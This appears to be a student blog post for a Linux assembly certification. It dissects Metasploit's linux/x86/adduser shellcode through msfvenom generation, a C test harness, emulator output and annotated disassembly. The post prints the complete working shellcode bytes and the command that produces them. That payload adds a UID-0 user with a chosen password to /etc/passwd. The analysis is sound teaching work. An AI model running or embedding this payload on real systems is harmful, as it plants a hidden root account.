This post analyses innards of linux/x86/adduser shellcode. Running this shellcode adds custom user with UID=0 to /etc/passwd.
Initial shellcode overview and testing
Inspect payload options and generate shellcode for analysis
$ msfvenom -p linux/x86/adduser --list-options
Options for payload/linux/x86/adduser:
=========================
Name: Linux Add User
Module: payload/linux/x86/adduser
Platform: Linux
Arch: x86
Needs Admin: Yes
Total size: 97
Rank: Normal
Provided by:
skape <mmiller@hick.org>
vlad902 <vlad902@gmail.com>
spoonm <spoonm@no$email.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASS metasploit yes The password for this user
SHELL /bin/sh no The shell for this user
USER metasploit yes The username to create
Description:
Create a new user with UID 0
linux/x86/adduser payload has three options. We will generate shellcode with custom user and password
$ msfvenom -p linux/x86/adduser -f c PASS=somepwd USER=someusr
Insert generated shellcode into testing C wrapper
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
// msfvenom -p linux/x86/adduser -f c PASS=somepwd USER=someusr
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x25\x00\x00\x00\x73\x6f"
"\x6d\x65\x75\x73\x72\x3a\x41\x7a\x37\x69\x56\x31\x73\x6d\x4c"
"\x66\x48\x38\x2e\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69"
"\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a"
"\x01\x58\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*CodeFun)() = (int(*)())code;
CodeFun();
}
Running shellcode as sudoer we get new user someusr in /etc/passwd
$ sudo ./shellcode
$ cat /etc/passwd
...
...
maple:x:1000:1000:Maple,,,:/home/maple:/bin/bash
someusr:Az7iV1smLfH8.:0:0::/:/bin/sh
Shellcode analysis
If we try to use libemu sctest the shellcode execution isn’t emulated properly and we get executed just first ~9 instructions.
maple@ubuntu:~/Downloads/libemu/tools/sctest$ cat /mnt/hgfs/share/SLAE_exam/problem5/adduser/adduser_raw | ./sctest -vvv -Ss 100000
verbose = 3
[emu 0x0x92f0078 debug ] cpu state eip=0x00417000
[emu 0x0x92f0078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x92f0078 debug ] Flags:
[emu 0x0x92f0078 debug ] cpu state eip=0x00417000
[emu 0x0x92f0078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x92f0078 debug ] Flags:
[emu 0x0x92f0078 debug ] 31C9 xor ecx,ecx
[emu 0x0x92f0078 debug ] cpu state eip=0x00417002
[emu 0x0x92f0078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x92f0078 debug ] Flags: PF ZF
[emu 0x0x92f0078 debug ] 89EF mov edi,ebp
[emu 0x0x92f0078 debug ] cpu state eip=0x00417004
[emu 0x0x92f0078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x00000000
[emu 0x0x92f0078 debug ] Flags: PF ZF
[emu 0x0x92f0078 debug ] BFBD6A4658 mov edi,0x58466abd
[emu 0x0x92f0078 debug ] cpu state eip=0x00417009
[emu 0x0x92f0078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x58466abd
[emu 0x0x92f0078 debug ] Flags: PF ZF
[emu 0x0x92f0078 debug ] CD80 int 0x80
[emu 0x0x92f0078 debug ] cpu state eip=0x0041700b
[emu 0x0x92f0078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fce ebp=0x00000000 esi=0x00000000 edi=0x58466abd
[emu 0x0x92f0078 debug ] Flags: PF ZF
[emu 0x0x92f0078 debug ] 6A58 push byte 0x58
[emu 0x0x92f0078 debug ] cpu state eip=0x0041700d
[emu 0x0x92f0078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x58466abd
[emu 0x0x92f0078 debug ] Flags: PF ZF
[emu 0x0x92f0078 debug ] 31EF xor edi,ebp
[emu 0x0x92f0078 debug ] cpu state eip=0x0041700f
[emu 0x0x92f0078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x58466abd
[emu 0x0x92f0078 debug ] Flags: PF
[emu 0x0x92f0078 debug ] BFBD516873 mov edi,0x736851bd
[emu 0x0x92f0078 debug ] cpu state eip=0x00417014
[emu 0x0x92f0078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x736851bd
[emu 0x0x92f0078 debug ] Flags: PF
[emu 0x0x92f0078 debug ] 73 jnc 0x1
[emu 0x0x92f0078 debug ] cpu state eip=0x0041708d
[emu 0x0x92f0078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x736851bd
[emu 0x0x92f0078 debug ] Flags: PF
[emu 0x0x92f0078 debug ] 0000 add [eax],al
cpu error error accessing 0x00000004 not mapped
stepcount 8
[emu 0x0x92f0078 debug ] cpu state eip=0x0041708f
[emu 0x0x92f0078 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000000
[emu 0x0x92f0078 debug ] esp=0x00416fca ebp=0x00000000 esi=0x00000000 edi=0x736851bd
[emu 0x0x92f0078 debug ] Flags: PF
So sctest will not help us in further analysis. Let’s disassemble shellcode with ndisasm.
$ echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x25\x00\x00\x00\x73\x6f\x6d\x65\x75\x73\x72\x3a\x41\x7a\x37\x69\x56\x31\x73\x6d\x4c\x66\x48\x38\x2e\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -u -
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
00000025 93 xchg eax,ebx
00000026 E825000000 call dword 0x50
0000002B 736F jnc 0x9c
0000002D 6D insd
0000002E 657573 gs jnz 0xa4
00000031 723A jc 0x6d
00000033 41 inc ecx
00000034 7A37 jpe 0x6d
00000036 695631736D4C66 imul edx,[esi+0x31],dword 0x664c6d73
0000003D 48 dec eax
0000003E 382E cmp [esi],ch
00000040 3A30 cmp dh,[eax]
00000042 3A30 cmp dh,[eax]
00000044 3A3A cmp bh,[edx]
00000046 2F das
00000047 3A2F cmp ch,[edi]
00000049 62696E bound ebp,[ecx+0x6e]
0000004C 2F das
0000004D 7368 jnc 0xb7
0000004F 0A598B or bl,[ecx-0x75]
00000052 51 push ecx
00000053 FC cld
00000054 6A04 push byte +0x4
00000056 58 pop eax
00000057 CD80 int 0x80
00000059 6A01 push byte +0x1
0000005B 58 pop eax
0000005C CD80 int 0x80
ndisasm output looks much better then that of sctest. Now we can try to carefully analyze the assembly and if we go into weird or unclear instructions we can fire up gdb and inspect what’s going on live.
Assembly part 1 – System call 0x42
00000000 31C9 xor ecx,ecx ; zeroing ecx
00000002 89CB mov ebx,ecx ; zeroing ebx
00000004 6A46 push byte +0x46 ; eax=0x46
00000006 58 pop eax ; eax=0x46
00000007 CD80 int 0x80 ; invoke system call 0x42
Assembly starts with preparing arguments for 0x46 (70) system call and then invokes it. From /usr/include/i386-linux-gnu/asm/unistd_32.h we get
#define __NR_setreuid 70
Inspecting
$ man setreuid
we see that this system call sets real and effective user IDs of the calling process. Signature of setreuid() is
int setreuid(uid_t ruid, uid_t euid);
and since code zeroed EBX and ECX following call is invoked
int setreuid(0, 0);
real and effective user ID is set to 0 and 0 respectively.
Assembly part 2 – System call 0x5
00000009 6A05 push byte +0x5 ; eax=0x5
0000000B 58 pop eax ; eax=0x5
0000000C 31C9 xor ecx,ecx ; zeroing ecx
0000000E 51 push ecx ; push NULL byte into stack, esp(hex)=> 00
0000000F 6873737764 push dword 0x64777373 ; push 0x64777373 into stack, esp(hex)=> 73 73 77 64 00
00000014 682F2F7061 push dword 0x61702f2f ; push 0x61702f2f into stack, esp(hex)=> 2f 2f 70 61 73 73 77 64 00
00000019 682F657463 push dword 0x6374652f ; push 0x6374652f into stack, esp(hex)=> 2f 65 74 63 2f 2f 70 61 73 73 77 64 00
0000001E 89E3 mov ebx,esp ; ebx points to stack
00000020 41 inc ecx ; ecx=0x1
00000021 B504 mov ch,0x4 ; ecx=0x401
00000023 CD80 int 0x80 ; invoke system call 0x5
This part of code prepares arguments for 0x5 (5) system call and then invokes it. From /usr/include/i386-linux-gnu/asm/unistd_32.h we get
#define __NR_open 5
By inspecting
$ man 2 open
we see that open() call returns a file descriptor, a small, nonnegative integer for use in subsequent system calls (read(), write(), lseek(), fcntl(), etc.). Signature of open() is
int open(const char *pathname, int flags);
First argument is set via EBX. EBX was pointed to ESP and remember that stack was filled with some data.
push ecx => push NULL terminator
push 0x64777373 => push "dwss"
push 0x61702f2f => push "ap//"
push 0x6374652f => push "cte/
Translated from little endian memory we get following character sequence
/etc//passwd0x00
Tha flags argument is set to 0x401. The fastest way of inspection will be analyze strace ouput
$ strace ./shellcode 2>&1| grep open
...
open("/etc//passwd", O_WRONLY|O_APPEND) = -1 EACCES (Permission denied)
Final open() system call looks as follow
int open("/etc//passwd0x00", O_WRONLY|O_APPEND);
It returns file descriptor number or negative value in case of error.
Assembly part 3 – call dword 0x50 custom location
00000025 93 xchg eax,ebx ; move file descriptor to ebx
00000026 E825000000 call dword 0x50 ; jmp-call-pop, jmp to custom section ...
0000002B 736F jnc 0x9c ; ... and save this address to esp
This stub utilizes jmp-call-pop pattern. First it loads result from previous open() call to EBX, then sets ESP to next instruction address and jumps to custom location at offset 0x50
Assembly part 4 – fixing corrupted assembly
Previous code redirected code execution to offset 00000050 of ndisasm output
...
0000004F 0A598B or bl,[ecx-0x75]
00000052 51 push ecx
00000053 FC cld
00000054 6A04 push byte +0x4
00000056 58 pop eax
00000057 CD80 int 0x80
00000059 6A01 push byte +0x1
0000005B 58 pop eax
0000005C CD80 int 0x80
We can see that “we have no instruction at offset 00000050” ! Actually it’s there but ndisasm corrupted the assembly output. We can read offset 000050 from
0000004F 0A598B or bl,[ecx-0x75]
so we will get instruction with opcode 0x59, pop ecx. It will be convenient to re-disassemble this final opcode sequence but with correctly aligned opcodes – that means just skipping the 0x0A opcode at 0000004F offset. So from rest of instructions we get
$ echo -ne "\x59\x8B\x51\xFC\x6A\x04\x58\xCD\x80\x6A\x01\x58\xCD\x80" | ndisasm -u -
00000000 59 pop ecx ; load 0000002B from esp, ecx points to beginning of buffer
00000001 8B51FC mov edx,[ecx-0x4] ; set byte count for reading, 0x25(37)
00000004 6A04 push byte +0x4 ; eax=0x4
00000006 58 pop eax ; eax=0x4
00000007 CD80 int 0x80 ; invoke system call 0x4, write()
00000009 6A01 push byte +0x1 ; eax=0x1
0000000B 58 pop eax ; eax=0x1
0000000C CD80 int 0x80 ; invoke system call 0x1, exit()
which can be read easily again.
In this assembly stub are two interrupts.
First is write() call which writes from the buffer to the file referred to by the file descriptor. From
$ man 2 write
we get write() signature
ssize_t write(int fd, const void *buf, size_t count);
fd is file descriptor number in EBX set by previous instruction
00000025 93 xchg eax,ebx ; move file descriptor to ebx
ECX contains address with instruction
0000002B 736F jnc 0x9c
but these bytes will be interpreted not as instructions but as data. See assembly stub below and bold bytes which are used as buf argument
00000025 93 xchg eax,ebx
00000026 E825000000 call dword 0x50
0000002B 736F jnc 0x9c
0000002D 6D insd
0000002E 657573 gs jnz 0xa4
00000031 723A jc 0x6d
00000033 41 inc ecx
00000034 7A37 jpe 0x6d
00000036 695631736D4C66 imul edx,[esi+0x31],dword 0x664c6d73
0000003D 48 dec eax
0000003E 382E cmp [esi],ch
00000040 3A30 cmp dh,[eax]
00000042 3A30 cmp dh,[eax]
00000044 3A3A cmp bh,[edx]
00000046 2F das
00000047 3A2F cmp ch,[edi]
00000049 62696E bound ebp,[ecx+0x6e]
0000004C 2F das
0000004D 7368 jnc 0xb7
0000004F 0A598B or bl,[ecx-0x75]
00000052 51
Remember that from offset 00000050 we have valid instructions again. Extracting these bytes gives
736F6D657573723A417A37695631736D4C6648382E3A303A303A3A2F3A2F62696E2F73680A
which in ASCII gives
someusr:Az7iV1smLfH8.:0:0::/:/bin/sh
Let’s inspect count argument with GDB. We need to inspect data pointed to by EDX.
(gdb) disas /r
...
0x0804a065 <+37>: 93 xchg ebx,eax
0x0804a066 <+38>: e8 25 00 00 00 call 0x804a090 <code+80>
0x0804a06b <+43>: 73 6f jae 0x804a0dc
0x0804a06d <+45>: 6d ins DWORD PTR es:[edi],dx
...
Remind corrected assembly for last two system calls
$ echo -ne "\x59\x8B\x51\xFC\x6A\x04\x58\xCD\x80\x6A\x01\x58\xCD\x80" | ndisasm -u -
00000000 59 pop ecx ; load 0000002B from esp, ecx points to beginning of buffer
00000001 8B51FC mov edx,[ecx-0x4] ; set byte count for reading, 0x25(37)
00000004 6A04 push byte +0x4 ; eax=0x4
00000006 58 pop eax ; eax=0x4
00000007 CD80 int 0x80 ; invoke system call 0x4, write()
00000009 6A01 push byte +0x1 ; eax=0x1
0000000B 58 pop eax ; eax=0x1
0000000C CD80 int 0x80 ; invoke system call 0x1, exit()
So ECX points 0x0804a06b. EDX points to [ECX-0x4] which is 0x0804A067 and there is value 0x25 (37). This argument utilizes part of opcode as its value!
Final exit() call with arguments will be
void exit(int status);
System call number 1 is passed via EAX and value -13 is passed via EBX. -13 can be caught by parent process but in this case it has no effect in this shellcode.
Final assembly analysis overview
00000000 31C9 xor ecx,ecx ; zeroing ecx
00000002 89CB mov ebx,ecx ; zeroing ebx
00000004 6A46 push byte +0x46 ; eax=0x46
00000006 58 pop eax ; eax=0x46
00000007 CD80 int 0x80 ; invoke system call 0x42, setreuid()
00000009 6A05 push byte +0x5 ; eax=0x5
0000000B 58 pop eax ; eax=0x5
0000000C 31C9 xor ecx,ecx ; zeroing ecx
0000000E 51 push ecx ; push NULL byte into stack, esp(hex)=> 00
0000000F 6873737764 push dword 0x64777373 ; push 0x64777373 into stack, esp(hex)=> 73 73 77 64 00
00000014 682F2F7061 push dword 0x61702f2f ; push 0x61702f2f into stack, esp(hex)=> 2f 2f 70 61 73 73 77 64 00
00000019 682F657463 push dword 0x6374652f ; push 0x6374652f into stack, esp(hex)=> 2f 65 74 63 2f 2f 70 61 73 73 77 64 00
0000001E 89E3 mov ebx,esp ; ebx points to stack
00000020 41 inc ecx ; ecx=0x1
00000021 B504 mov ch,0x4 ; ecx=0x401, bitmask O_WRONLY|O_APPEND
00000023 CD80 int 0x80 ; invoke system call 0x5, open()
00000025 93 xchg eax,ebx ; move file descriptor to ebx
00000026 E825000000 call dword 0x50 ; jmp-call-pop, jmp to custom section 00000050
0000002B 736F jnc 0x9c ; string buffer pointed to by ECX from instruction at 00000050
0000002D 6D insd ; string buffer all the way down to 0000004F
0000002E 657573 gs jnz 0xa4 ; keep in mind corrupted instructions on 0000004F
00000031 723A jc 0x6d ; ...
00000033 41 inc ecx ; ...
00000034 7A37 jpe 0x6d ; ...
00000036 695631736D4C66 imul edx,[esi+0x31],dword 0x664c6d73 ; ...
0000003D 48 dec eax ; ...
0000003E 382E cmp [esi],ch ; ...
00000040 3A30 cmp dh,[eax] ; ...
00000042 3A30 cmp dh,[eax] ; ...
00000044 3A3A cmp bh,[edx] ; ...
00000046 2F das ; ...
00000047 3A2F cmp ch,[edi] ; ...
00000049 62696E bound ebp,[ecx+0x6e] ; ...
0000004C 2F das ; ...
0000004D 7368 jnc 0xb7 ; ...
0000004F 0A598B or bl,[ecx-0x75] ; 0x4F contains last char of buffer, 0x59 is pop ecx, ecx points to 0000002B now
00000052 51 push ecx ; 0x8B51FC is mov edx,[ecx-0x4], edx contains 0x25(37) from 00000026
00000053 FC cld ; part of instruction above
00000054 6A04 push byte +0x4 ; eax=0x4
00000056 58 pop eax ; eax=0x4
00000057 CD80 int 0x80 ; invoke system call 0x4, write()
00000059 6A01 push byte +0x1 ; eax=0x1
0000005B 58 pop eax ; eax=0x1
0000005C CD80 int 0x80 ; invoke system call 0x1, exit()
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Student ID: SLAE-1443